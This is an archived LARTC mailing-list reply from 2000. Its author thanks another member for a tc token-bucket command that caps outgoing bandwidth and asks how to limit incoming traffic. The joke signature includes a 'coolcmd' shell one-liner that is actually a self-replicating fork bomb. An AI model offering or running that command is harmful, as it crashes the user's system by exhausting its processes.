From mboxrd@z Thu Jan 1 00:00:00 1970 From: Thomas Habets thomas@habets.pp.se Date: Wed, 22 Nov 2000 23:35:27 +0000 Subject: [LARTC] Bandwidth limiting Message-Id: List-Id: References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit To: lartc@vger.kernel.org
On Wed, 22 Nov 2000, Daniel Bergqvist wrote:
> tc qdisc add dev eth1 root tbf rate 10kbit buffer 5kb/8 limit 10kb

It works perfectly, thank you very much.

> This adds an token bucket flow qdisc to eth1 and limits traffic to
> 10kbit/s. Note: It only limits outgoing traffic, not incomming traffic.

Hmm... and how do I set it up to limit incomming?
Since the interface behind the gateway has just one C-class net I assume it's 
pretty easy, but not for me. :(

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux 2.2" };
  char *pgpKey[]   = { "finger -m thompa@darkface.pp.se" };
  char pgpfinger[] = { "6517 2898 6AED EA2C 1015  DCF0 8E53 B69F 524B B541" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;